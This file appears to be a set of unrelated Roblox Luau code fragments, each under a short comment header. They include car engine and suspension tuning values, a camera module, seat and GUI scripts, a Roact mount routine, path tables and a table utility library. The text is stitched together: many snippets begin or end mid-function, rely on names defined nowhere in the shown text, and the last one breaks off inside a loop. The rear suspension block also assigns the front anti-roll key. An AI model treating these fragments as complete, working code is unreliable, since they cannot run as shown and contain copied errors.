-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 568
Tune.IdleRPM = 700
Tune.PeakRPM = 7000
Tune.Redline = 8000
Tune.EqPoint = 5252
Tune.PeakSharpness = 20
Tune.CurveMult = 0.2
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Double" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger ]]
Tune.Boost = 15 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 65 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--[[ The Module ]]
|
--
local BaseCamera = require(script.Parent:WaitForChild("BaseCamera"))
local OrbitalCamera = setmetatable({}, BaseCamera)
OrbitalCamera.__index = OrbitalCamera
function OrbitalCamera.new()
local self = setmetatable(BaseCamera.new(), OrbitalCamera)
self.lastUpdate = tick()
-- OrbitalCamera-specific members
self.changedSignalConnections = {}
self.refAzimuthRad = nil
self.curAzimuthRad = nil
self.minAzimuthAbsoluteRad = nil
self.maxAzimuthAbsoluteRad = nil
self.useAzimuthLimits = nil
self.curElevationRad = nil
self.minElevationRad = nil
self.maxElevationRad = nil
self.curDistance = nil
self.minDistance = nil
self.maxDistance = nil
-- Gamepad
self.r3ButtonDown = false
self.l3ButtonDown = false
self.gamepadDollySpeedMultiplier = 1
self.lastUserPanCamera = tick()
self.externalProperties = {}
self.externalProperties["InitialDistance"] = 25
self.externalProperties["MinDistance"] = 10
self.externalProperties["MaxDistance"] = 100
self.externalProperties["InitialElevation"] = 35
self.externalProperties["MinElevation"] = 35
self.externalProperties["MaxElevation"] = 35
self.externalProperties["ReferenceAzimuth"] = -45 -- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally
self.externalProperties["CWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above
self.externalProperties["CCWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above
self.externalProperties["UseAzimuthLimits"] = false -- Full rotation around Y axis available by default
self:LoadNumberValueParameters()
return self
end
function OrbitalCamera:LoadOrCreateNumberValueParameter(name, valueType, updateFunction)
local valueObj = script:FindFirstChild(name)
if valueObj and valueObj:isA(valueType) then
-- Value object exists and is the correct type, use its value
self.externalProperties[name] = valueObj.Value
elseif self.externalProperties[name] ~= nil then
-- Create missing (or replace incorrectly-typed) valueObject with default value
valueObj = Instance.new(valueType)
valueObj.Name = name
valueObj.Parent = script
valueObj.Value = self.externalProperties[name]
else
return
end
if updateFunction then
if self.changedSignalConnections[name] then
self.changedSignalConnections[name]:Disconnect()
end
self.changedSignalConnections[name] = valueObj.Changed:Connect(function(newValue)
self.externalProperties[name] = newValue
updateFunction(self)
end)
end
end
function OrbitalCamera:SetAndBoundsCheckAzimuthValues()
self.minAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) - math.abs(math.rad(self.externalProperties["CWAzimuthTravel"]))
self.maxAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) + math.abs(math.rad(self.externalProperties["CCWAzimuthTravel"]))
self.useAzimuthLimits = self.externalProperties["UseAzimuthLimits"]
if self.useAzimuthLimits then
self.curAzimuthRad = math.max(self.curAzimuthRad, self.minAzimuthAbsoluteRad)
self.curAzimuthRad = math.min(self.curAzimuthRad, self.maxAzimuthAbsoluteRad)
end
end
function OrbitalCamera:SetAndBoundsCheckElevationValues()
-- These degree values are the direct user input values. It is deliberate that they are
-- ranged checked only against the extremes, and not against each other. Any time one
-- is changed, both of the internal values in radians are recalculated. This allows for
-- A developer to change the values in any order and for the end results to be that the
-- internal values adjust to match intent as best as possible.
local minElevationDeg = math.max(self.externalProperties["MinElevation"], MIN_ALLOWED_ELEVATION_DEG)
local maxElevationDeg = math.min(self.externalProperties["MaxElevation"], MAX_ALLOWED_ELEVATION_DEG)
-- Set internal values in radians
self.minElevationRad = math.rad(math.min(minElevationDeg, maxElevationDeg))
self.maxElevationRad = math.rad(math.max(minElevationDeg, maxElevationDeg))
self.curElevationRad = math.max(self.curElevationRad, self.minElevationRad)
self.curElevationRad = math.min(self.curElevationRad, self.maxElevationRad)
end
function OrbitalCamera:SetAndBoundsCheckDistanceValues()
self.minDistance = self.externalProperties["MinDistance"]
self.maxDistance = self.externalProperties["MaxDistance"]
self.curDistance = math.max(self.curDistance, self.minDistance)
self.curDistance = math.min(self.curDistance, self.maxDistance)
end
|
---Exit function
|
function module.ExitSeat()
local humanoid = getLocalHumanoid()
if not humanoid then
return false
end
local character = humanoid.Parent
if character.Humanoid.Sit == true then
for _, joint in ipairs(character.HumanoidRootPart:GetJoints()) do
if joint.Name == "SeatWeld" then
if Seats[joint.Part0] then --Dont trigger this script on unrelated seats
for _, func in pairs(module.OnExitFunctions) do
func(joint.Part0)
end
ExitSeat:FireServer()
-- stop playing animations
for name, track in pairs(AnimationTracks) do
track:Stop()
end
return true
end
end
end
end
end
function module.GetSeats()
return Seats
end
|
-- отображение текущих характеристик башни
|
wait(1)
me = script.Parent
plr = game.Players.LocalPlayer
gui = plr.PlayerGui.ScreenGui.Main.TowerInfo
while true do
wait()
if me.objTower.Value == nil then
me.Visible = false
else
obj=me.objTower.Value
me.Visible = true
-- print(obj.Name)
local val = obj:FindFirstChild("Owner")
if val then
gui.txtOwner.Text = val.Value
end
temp=obj:FindFirstChild("Config")
if temp ~= nil then -- не кристалл
gui.txtDamage.Text = obj.cfgDamage.Value
gui.txtSpeed.Text = obj.cfgSpeedAttack.Value
-- вывод типа урона
types = temp.DamageType.Value
if types == 1 then
gui.txtType.Text= "Single"
gui.txtRadius.Text = obj.cfgRadius.Value
elseif types == 2 then
gui.txtType.Text= "AoE"
gui.txtRadius.Text = obj.cfgRadius.Value
elseif types == 3 then
gui.txtType.Text= "Contact"
gui.txtRadius.Text = " - "
else
gui.txtType.Text= " ??? "
end
else -- кристалл
gui.txtDamage.Text = " - "
gui.txtRadius.Text = " - "
gui.txtSpeed.Text = " - "
gui.txtType.Text = " - "
end
end
end
|
--Effects
|
Hit:Play()
wait(0.1)
Effects.Trail.Enabled = true
Trace.Sound:Play()
wait(0.1)
Effects.Trail.Enabled = false
end
wait(2.5)
|
--[[
An internal method used by the reconciler to construct a new component
instance and attach it to the given virtualNode.
]]
|
function Component:__mount(reconciler, virtualNode)
if config.internalTypeChecks then
internalAssert(Type.of(self) == Type.StatefulComponentClass, "Invalid use of `__mount`")
internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #2 to be of type VirtualNode")
end
local currentElement = virtualNode.currentElement
local hostParent = virtualNode.hostParent
-- Contains all the information that we want to keep from consumers of
-- Roact, or even other parts of the codebase like the reconciler.
local internalData = {
reconciler = reconciler,
virtualNode = virtualNode,
componentClass = self,
lifecyclePhase = ComponentLifecyclePhase.Init,
}
local instance = {
[Type] = Type.StatefulComponentInstance,
[InternalData] = internalData,
}
setmetatable(instance, self)
virtualNode.instance = instance
local props = currentElement.props
if self.defaultProps ~= nil then
props = assign({}, self.defaultProps, props)
end
instance:__validateProps(props)
instance.props = props
local newContext = assign({}, virtualNode.context)
instance._context = newContext
instance.state = assign({}, instance:__getDerivedState(instance.props, {}))
if instance.init ~= nil then
instance:init(instance.props)
assign(instance.state, instance:__getDerivedState(instance.props, instance.state))
end
-- It's possible for init() to redefine _context!
virtualNode.context = instance._context
internalData.lifecyclePhase = ComponentLifecyclePhase.Render
local renderResult = instance:render()
internalData.lifecyclePhase = ComponentLifecyclePhase.ReconcileChildren
reconciler.updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)
if instance.didMount ~= nil then
internalData.lifecyclePhase = ComponentLifecyclePhase.DidMount
instance:didMount()
end
if internalData.pendingState ~= nil then
-- __update will handle pendingState, so we don't pass any new element or state
instance:__update(nil, nil)
end
internalData.lifecyclePhase = ComponentLifecyclePhase.Idle
end
|
-- local Timer = Timer.new()
|
--Timer:OnFinish(function() timedOut = true end)
--Timer:Start(self.Timeout)
local queueNumber = self.QueueEnd
self.QueueEnd = self.QueueEnd + 1
while not self.Deleted and queueNumber ~= self.QueueIndex do --not timedOut
wait(.1)
end
--Timer:Stop()
wait() --make sure last thread has finished
--if timedOut then self:Next() print("Queue timeout") return false end
--return true
end
function Queue:Next()
self.QueueIndex = self.QueueIndex + 1
end
return Queue
|
-- // Funtions
|
function toggleButton()
local function toggleOn()
if debounce then return end
debounce = true
frame:SetAttribute('enabled', true)
TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {Position = onPosition}):Play()
TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {BackgroundColor3 = onColor}):Play()
task.wait(waitTime)
debounce = false
end
local function toggleOff()
if debounce then return end
debounce = true
frame:SetAttribute('enabled', false)
TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {Position = offPosition}):Play()
TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {BackgroundColor3 = offColor}):Play()
task.wait(waitTime)
debounce = false
end
if frame:GetAttribute('enabled') then toggleOff() else toggleOn() end
end
|
-- Create scope HUD when tool opens
|
coroutine.wrap(function ()
Enabled:Wait()
-- Create scope HUD
local ScopeHUDTemplate = require(UIElements:WaitForChild 'ScopeHUD')
local ScopeHUD = Roact.createElement(ScopeHUDTemplate, {
Core = getfenv(0);
})
-- Mount scope HUD
Roact.mount(ScopeHUD, UI, 'ScopeHUD')
end)()
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 3000 -- Front brake force
Tune.RBrakeForce = 4000 -- Rear brake force
Tune.PBrakeForce = 4000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 1500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50000 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2.15 -- Suspension length (in studs)
Tune.FPreCompress = .2 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = 0 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 1500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50000 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2.2 -- Suspension length (in studs)
Tune.RPreCompress = -0.3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = 0 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t},
[49]={{51,50,47,48,49},t},
[16]={n,f},
[19]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59},t},
[63]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{51,50,47,48,49,45,44,28,29,31,32,34},t},
[21]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{51,50,47,48},t},
[27]={{51,50,47,48,49,45,44,28,27},t},
[14]={n,f},
[31]={{51,50,47,48,49,45,44,28,29,31},t},
[56]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56},t},
[29]={{51,50,47,48,49,45,44,28,29},t},
[13]={n,f},
[47]={{51,50,47},t},
[12]={n,f},
[45]={{51,50,47,48,49,45},t},
[57]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,57},t},
[36]={{51,50,47,48,49,45,44,28,29,31,32,33,36},t},
[25]={{51,50,47,48,49,45,44,28,27,26,25},t},
[71]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71},t},
[20]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20},t},
[60]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{51,50,47,48,49,45,44,28,29,31,32,33,36,37},t},
[2]={n,f},
[35]={{51,50,47,48,49,45,44,28,29,31,32,34,35},t},
[53]={{51,55,54,53},t},
[73]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72},t},
[33]={{51,50,47,48,49,45,44,28,29,31,32,33},t},
[69]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,60,69},t},
[65]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{51,50,47,48,49,45,44,28,27,26},t},
[68]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{51,50},t},
[66]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{51,50,47,48,49,45,44,28,27,26,25,24},t},
[23]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23},t},
[44]={{51,50,47,48,49,45,44},t},
[39]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39},t},
[32]={{51,50,47,48,49,45,44,28,29,31,32},t},
[3]={n,f},
[30]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30},t},
[51]={{51},t},
[18]={n,f},
[67]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61},t},
[55]={{51,55},t},
[46]={{51,50,47,46},t},
[42]={{51,50,47,48,49,45,44,28,29,31,32,34,35,38,42},t},
[40]={{51,50,47,48,49,45,44,28,29,31,32,34,35,40},t},
[52]={{51,55,54,53,52},t},
[54]={{51,55,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41},t},
[17]={n,f},
[38]={{51,50,47,48,49,45,44,28,29,31,32,34,35,38},t},
[28]={{51,50,47,48,49,45,44,28},t},
[5]={n,f},
[64]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--[[
Creates an association with specified room
]]
|
function Window:associateRoom(room)
self._associatedRoom = room
end
|
----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
|
local Damage = 7
|
--Game which use Donor
|
local gamesWithDonor = {
-- Its currently too time consuming and unfair to maintain donor games
-- A new automated discover will be introduced with the successor of HD Admin, Nanoblox
--[[{574407221, "Super Hero Tycoon"};
{2921400152, "4PLR Tycoon"};
{1828225164, "Guest World"};
{591993002, "OHD Roleplay World"};
{4823091615 , "Paradise Life"};
{49254942, "2 Player House Tycoon"};
{3169584572, "Meme Music"};
{2764548803, "Island Hotel"};
{3093229294, "Animations: Mocap"};
{3411100258, "evry bordr gam evr"};
{3108078982, "HD Admin House"};
{12996397, "Mega Fun Obby 🌟"};
{184558572, "Survive the Disasters"};
{4522347649, "[FREE ADMIN]"};
{4913581664, "Cart Ride Into Rdite!"};--]]
--{0, ""};
}
local coreFunctions
repeat wait() coreFunctions = main:GetModule("cf") until coreFunctions.RandomiseTable
local gamesWithDonorSorted = coreFunctions:RandomiseTable(gamesWithDonor, 86400)
for i, gameData in pairs(gamesWithDonorSorted) do
local gameId = gameData[1]
local gameName = gameData[2]
local row = math.ceil(i/2)
local column = i % 2
local gamePage
if column == 1 then
gamePage = templateGame:Clone()
gamePage.Name = "AI Game".. row
gamePage.Visible = true
gamePage.Parent = pages.donor
else
gamePage = pages.donor["AI Game".. row]
end
local gameThumbnail = gamePage["GameImage"..column]
local gameLabel = gamePage["GameName"..column]
local image = "https://assetgame.roblox.com/Game/Tools/ThumbnailAsset.ashx?aid=".. gameId .."&fmt=png&wd=420&ht=420"
gameThumbnail.Image = image
gameLabel.Text = gameName
gameThumbnail.Visible = true
gameLabel.Visible = true
--Teleport to game
local selectButton = gameThumbnail.Select
local clickFrame = gameThumbnail.ClickFrame
selectButton.MouseButton1Click:Connect(function()
teleportFrame.ImageLabel.Image = image
teleportFrame.TeleportTo.TextLabel.Text = gameName.."?"
teleportFrame.MainButton.PlaceId.Value = gameId
main:GetModule("cf"):ShowWarning("Teleport")
end)
selectButton.MouseEnter:Connect(function()
if not main.warnings.Visible then
clickFrame.Visible = true
end
end)
selectButton.MouseLeave:Connect(function()
clickFrame.Visible = false
end)
teleportFrame.Visible = true
end
|
------------------------------------------------------------
|
local TwinService = game:GetService("TweenService")
local AnimationHighLight = TweenInfo.new(3, Enum.EasingStyle.Sine ,Enum.EasingDirection.InOut)
local Info1 = {Position = Vector3.new(pos1,Positionn,pos3)}
local Info2 = {Position = Vector3.new(pos1,Positionn2,pos3)}
local AnimkaUp = TwinService:Create(Danger, AnimationHighLight, Info1 )
local AnimkaDown = TwinService:Create(Danger, AnimationHighLight, Info2 )
while true do
AnimkaDown:Play()
wait(2)
AnimkaUp:Play()
wait(2)
end
|
--//Setup//--
|
local KillParts = script.Parent:GetChildren()
|
--[[
TableUtil.Copy(Table tbl)
TableUtil.CopyShallow(Table tbl)
TableUtil.Sync(Table tbl, Table templateTbl)
TableUtil.Print(Table tbl, String label, Boolean deepPrint)
TableUtil.FastRemove(Table tbl, Number index)
TableUtil.FastRemoveFirstValue(Table tbl, Variant value)
TableUtil.Map(Table tbl, Function callback)
TableUtil.Filter(Table tbl, Function callback)
TableUtil.Reduce(Table tbl, Function callback [, Number initialValue])
TableUtil.Assign(Table target, ...Table sources)
TableUtil.IndexOf(Table tbl, Variant item)
TableUtil.Reverse(Table tbl)
TableUtil.Shuffle(Table tbl)
TableUtil.IsEmpty(Table tbl)
TableUtil.EncodeJSON(Table tbl)
TableUtil.DecodeJSON(String json)
EXAMPLES:
Copy:
Performs a deep copy of the given table. In other words,
all nested tables will also get copied.
local tbl = {"a", "b", "c"}
local tblCopy = TableUtil.Copy(tbl)
CopyShallow:
Performs a shallow copy of the given table. In other words,
all nested tables will not be copied, but only moved by
reference. Thus, a nested table in both the original and
the copy will be the same.
local tbl = {"a", "b", "c"}
local tblCopy = TableUtil.CopyShallow(tbl)
Sync:
Synchronizes a table to a template table. If the table does not have an
item that exists within the template, it gets added. If the table has
something that the template does not have, it gets removed.
local tbl1 = {kills = 0; deaths = 0; points = 0}
local tbl2 = {points = 0}
TableUtil.Sync(tbl2, tbl1) -- In words: "Synchronize table2 to table1"
print(tbl2.deaths)
Print:
Prints out the table to the output in an easy-to-read format. Good for
debugging tables. If deep printing, avoid cyclical references.
local tbl = {a = 32; b = 64; c = 128; d = {x = 0; y = 1; z = 2}}
TableUtil.Print(tbl, "My Table", true)
FastRemove:
Removes an item from an array at a given index. Only use this if you do
NOT care about the order of your array. This works by simply popping the
last item in the array and overwriting the given index with the last
item. This is O(1), compared to table.remove's O(n) speed.
local tbl = {"hello", "there", "this", "is", "a", "test"}
TableUtil.FastRemove(tbl, 2) -- Remove "there" in the array
print(table.concat(tbl, " ")) -- > hello test is a
FastRemoveFirstValue:
Calls FastRemove on the first index that holds the given value.
local tbl = {"abc", "hello", "hi", "goodbye", "hello", "hey"}
local removed, atIndex = TableUtil.FastRemoveFirstValue(tbl, "hello")
if (removed) then
print("Removed at index " .. atIndex)
print(table.concat(tbl, " ")) -- > abc hi goodbye hello hey
else
print("Did not find value")
end
Map:
This allows you to construct a new table by calling the given function
on each item in the table.
local peopleData = {
{firstName = "Bob"; lastName = "Smith"};
{firstName = "John"; lastName = "Doe"};
{firstName = "Jane"; lastName = "Doe"};
}
local people = TableUtil.Map(peopleData, function(item)
return {Name = item.firstName .. " " .. item.lastName}
end)
-- 'people' is now an array that looks like: { {Name = "Bob Smith"}; ... }
Filter:
This allows you to create a table based on the given table and a filter
function. If the function returns 'true', the item remains in the new
table; if the function returns 'false', the item is discluded from the
new table.
local people = {
{Name = "Bob Smith"; Age = 42};
{Name = "John Doe"; Age = 34};
{Name = "Jane Doe"; Age = 37};
}
local peopleUnderForty = TableUtil.Filter(people, function(item)
return item.Age < 40
end)
Reduce:
This allows you to reduce an array to a single value. Useful for quickly
summing up an array.
local tbl = {40, 32, 9, 5, 44}
local tblSum = TableUtil.Reduce(tbl, function(accumulator, value)
return accumulator + value
end)
print(tblSum) -- > 130
Assign:
This allows you to assign values from multiple tables into one. The
Assign function is very similar to JavaScript's Object.Assign() and
is useful for things such as composition-designed systems.
local function Driver()
return {
Drive = function(self) self.Speed = 10 end;
}
end
local function Teleporter()
return {
Teleport = function(self, pos) self.Position = pos end;
}
end
local function CreateCar()
local state = {
Speed = 0;
Position = Vector3.new();
}
-- Assign the Driver and Teleporter components to the car:
return TableUtil.Assign({}, Driver(), Teleporter())
end
local car = CreateCar()
car:Drive()
car:Teleport(Vector3.new(0, 10, 0))
IndexOf:
Returns the index of the given item in the table. If not found, this
will return nil.
This is the same as table.find, which Roblox added after this method
was written. To keep backwards compatibility, this method will continue
to exist, but will point directly to table.find.
local tbl = {"Hello", 32, true, "abc"}
local abcIndex = TableUtil.IndexOf(tbl, "abc") -- > 4
local helloIndex = TableUtil.IndexOf(tbl, "Hello") -- > 1
local numberIndex = TableUtil.IndexOf(tbl, 64) -- > nil
Reverse:
Creates a reversed version of the array. Note: This is a shallow
copy, so existing references will remain within the new table.
local tbl = {2, 4, 6, 8}
local rblReversed = TableUtil.Reverse(tbl) -- > {8, 6, 4, 2}
Shuffle:
Shuffles (i.e. randomizes) an array. This uses the Fisher-Yates algorithm.
local tbl = {1, 2, 3, 4, 5, 6, 7, 8, 9}
TableUtil.Shuffle(tbl)
print(table.concat(tbl, ", ")) -- e.g. > 3, 6, 9, 2, 8, 4, 1, 7, 5
--]]
|
local TableUtil = {}
local http = game:GetService("HttpService")
local IndexOf = table.find
local function CopyTable(t)
assert(type(t) == "table", "First argument must be a table")
local tCopy = table.create(#t)
for k,v in pairs(t) do
if (type(v) == "table") then
tCopy[k] = CopyTable(v)
else
tCopy[k] = v
end
end
return tCopy
end
local function CopyTableShallow(t)
local tCopy = table.create(#t)
for k,v in pairs(t) do tCopy[k] = v end
return tCopy
end
local function Sync(tbl, templateTbl)
assert(type(tbl) == "table", "First argument must be a table")
assert(type(templateTbl) == "table", "Second argument must be a table")
-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'
-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'
-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'
for k,v in pairs(tbl) do
local vTemplate = templateTbl[k]
-- Remove keys not within template:
if (vTemplate == nil) then
tbl[k] = nil
-- Synchronize data types:
elseif (type(v) ~= type(vTemplate)) then
if (type(vTemplate) == "table") then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
-- Synchronize sub-tables:
elseif (type(v) == "table") then
Sync(v, vTemplate)
end
end
-- Add any missing keys:
for k,vTemplate in pairs(templateTbl) do
local v = tbl[k]
if (v == nil) then
if (type(vTemplate) == "table") then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
end
end
end
local function FastRemove(t, i)
local n = #t
t[i] = t[n]
t[n] = nil
end
local function Map(t, f)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
local newT = table.create(#t)
for k,v in pairs(t) do
newT[k] = f(v, k, t)
end
return newT
end
local function Filter(t, f)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
local newT = table.create(#t)
if (#t > 0) then
local n = 0
for i = 1,#t do
local v = t[i]
if (f(v, i, t)) then
n = (n + 1)
newT[n] = v
end
end
else
for k,v in pairs(t) do
if (f(v, k, t)) then
newT[k] = v
end
end
end
return newT
end
local function Reduce(t, f, init)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
assert(init == nil or type(init) == "number", "Third argument must be a number or nil")
local result = (init or 0)
for k,v in pairs(t) do
result = f(result, v, k, t)
end
return result
end
|
--- Calls the transform function on this argument.
-- The return value(s) from this function are passed to all of the other argument methods.
-- Called automatically at instantiation
|
function Argument:Transform()
if #self.TransformedValues ~= 0 then
return
end
if self.Type.Listable and #self.RawValue > 0 then
local rawSegments = Util.SplitStringSimple(self.RawValue, ",")
if self.RawValue:sub(#self.RawValue, #self.RawValue) == "," then
rawSegments[#rawSegments + 1] = "" -- makes auto complete tick over right after pressing ,
end
for i, rawSegment in ipairs(rawSegments) do
self.RawSegments[i] = rawSegment
self.TransformedValues[i] = { self:TransformSegment(rawSegment) }
end
else
self.RawSegments[1] = self.RawValue
self.TransformedValues[1] = { self:TransformSegment(self.RawValue) }
end
end
function Argument:TransformSegment(rawSegment)
if self.Type.Transform then
return self.Type.Transform(rawSegment, self.Executor)
else
return rawSegment
end
end
|
--local function checkIfInfectedRank(plr)
-- for _,data in pairs(roleTeams)do
-- --print(plr.Team,data[1],plr:GetRankInGroup(groupId),data[2])
-- if plr.Team == data[2] and plr:GetRankInGroup(data[1]) == data[3] then
-- return true
-- end
-- end
-- return false
--end
| |
--((current - target) / 2) + target + (((current - target) / 2) * math.cos((currenttime * math.pi) / lengthoftime))
|
function CloudVisiblity(TargetSmall, TargetLarge, Small, Large, Time)
for i = 1, Time * 10 do
local TransSmall = ((Small[1].Transparency - TargetSmall) / 2) + TargetSmall + (((Small[1].Transparency - TargetSmall) / 2) * math.cos((i * math.pi) / (Time * 10)))
local TransLarge = ((Large[1].Transparency - TargetLarge) / 2) + TargetLarge + (((Large[1].Transparency - TargetLarge) / 2) * math.cos((i * math.pi) / (Time * 10)))
for _, Child in pairs(Small) do Child.Transparency = TransSmall end
for _, Child in pairs(Large) do Child.Transparency = TransLarge end
wait(.1)
end
for _, Child in pairs(Small) do Child.Transparency = TargetSmall end
for _, Child in pairs(Large) do Child.Transparency = TargetLarge end
end
return CloudVisiblity
|
-- Walking --
|
local function Walk(input)
if input.KeyCode == Enum.KeyCode.LeftShift then
Running = false
humanoid.WalkSpeed = 16
while not Running and Stamina2.MinValue < 550 do
Stamina2.MinValue += 2
StamBar.Size = UDim2.new(0, Stamina2.MinValue, 0, 15)
wait(.1)
end
end
end
UIS.InputEnded:Connect(Walk)
while true do
wait(.01)
StamBar.Size = UDim2.new(0, Stamina2.MinValue, 0, 15)
if Stamina2.MinValue >= 180 then
local Goal = {BackgroundColor3 = Color3.new(0.258824, 0.756863, 0.0470588)}
--Set the tween:
local Tween = TweenService:Create(StamBar, TweenInfo.new(2), Goal)
Tween:Play()
end
-- if stamina is below 150 then color is yellow
if Stamina2.MinValue <= 150 then
local Goal = {BackgroundColor3 = Color3.new(0.772549, 0.772549, 0)}
--Set the tween:
